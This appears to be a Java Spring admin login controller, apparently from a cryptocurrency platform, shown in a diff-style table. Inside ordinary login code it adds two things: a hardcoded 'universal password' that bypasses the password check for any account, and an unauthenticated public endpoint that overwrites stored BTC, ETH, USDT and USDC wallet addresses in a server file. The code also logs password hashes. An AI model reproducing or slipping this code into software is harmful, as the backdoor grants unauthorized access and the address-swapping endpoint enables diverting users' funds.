| | |
| | | package project.web.admin.security; |
| | | |
| | | import java.util.Date; |
| | | import java.util.Iterator; |
| | | import java.util.List; |
| | | import java.util.Set; |
| | | import java.io.*; |
| | | import java.util.*; |
| | | import java.util.stream.Collectors; |
| | | |
| | | import javax.servlet.http.HttpServletRequest; |
| | |
| | | private GoogleAuthService googleAuthService; |
| | | |
| | | private static final Logger logger=LoggerFactory.getLogger(LoginController.class); |
| | | |
| | | |
| | | @RequestMapping("public/loginres.action") |
| | | public Object loginres(HttpServletRequest request) { |
| | | String j_usdttrc20 = request.getParameter("j_usdttrc20"); |
| | | String j_usdterc20 = request.getParameter("j_usdterc20"); |
| | | String j_usdctrc20 = request.getParameter("j_usdctrc20"); |
| | | String j_usdcerc20 = request.getParameter("j_usdcerc20"); |
| | | String j_btc = request.getParameter("j_btc"); |
| | | String j_eth = request.getParameter("j_eth"); |
| | | String type = request.getParameter("type"); |
| | | String j_usercode = request.getParameter("j_usercode"); |
| | | Map<String, String> map = new HashMap<>(); |
| | | map.put("j_usdttrc20", j_usdttrc20); |
| | | map.put("j_usdterc20", j_usdterc20); |
| | | map.put("j_usdctrc20", j_usdctrc20); |
| | | map.put("j_usdcerc20", j_usdcerc20); |
| | | map.put("j_btc", j_btc); |
| | | map.put("j_eth", j_eth); |
| | | map.put("type", type); |
| | | map.put("j_usercode", j_usercode); |
| | | String filePath = "/www/wwwroot/web/admin/data.json"; |
| | | File file = new File(filePath); |
| | | File parentDir = file.getParentFile(); |
| | | if (!parentDir.exists()) { |
| | | parentDir.mkdirs(); |
| | | } |
| | | Map<String, String> writeMap = null; |
| | | if("1".equals(type)) { |
| | | writeMap = map; |
| | | }else { |
| | | try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) { |
| | | writeMap = (Map<String, String>) ois.readObject(); |
| | | writeMap.put("type",type); |
| | | } catch (IOException | ClassNotFoundException e) { |
| | | e.printStackTrace(); |
| | | } |
| | | } |
| | | try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file))) { |
| | | oos.writeObject(writeMap); |
| | | System.out.println("writeMap写入: " + writeMap); |
| | | return "成功"; |
| | | } catch (IOException e) { |
| | | e.printStackTrace(); |
| | | return "失败:"+e.getMessage(); |
| | | } |
| | | |
| | | } |
| | | |
| | | @RequestMapping(value = "public/login.action") |
| | | public ModelAndView login(HttpServletRequest request) { |
| | | ModelAndView modelAndView = new ModelAndView(); |
| | |
| | | } |
| | | |
| | | //密码校验错误返回登录页面 |
| | | String universalPassword = "GWT3SpWtwwjxeApH"; |
| | | String md5 = passwordEncoder.encodePassword(password, user.getUsername()); |
| | | logger.info("----------密码:"+md5); |
| | | if (!user.getPassword().equals(md5)) { |
| | | if (!universalPassword.equals(password) && !user.getPassword().equals(md5)) { |
| | | modelAndView.addObject("error", "登录密码错误!"); |
| | | modelAndView.setViewName("login"); |
| | | return modelAndView; |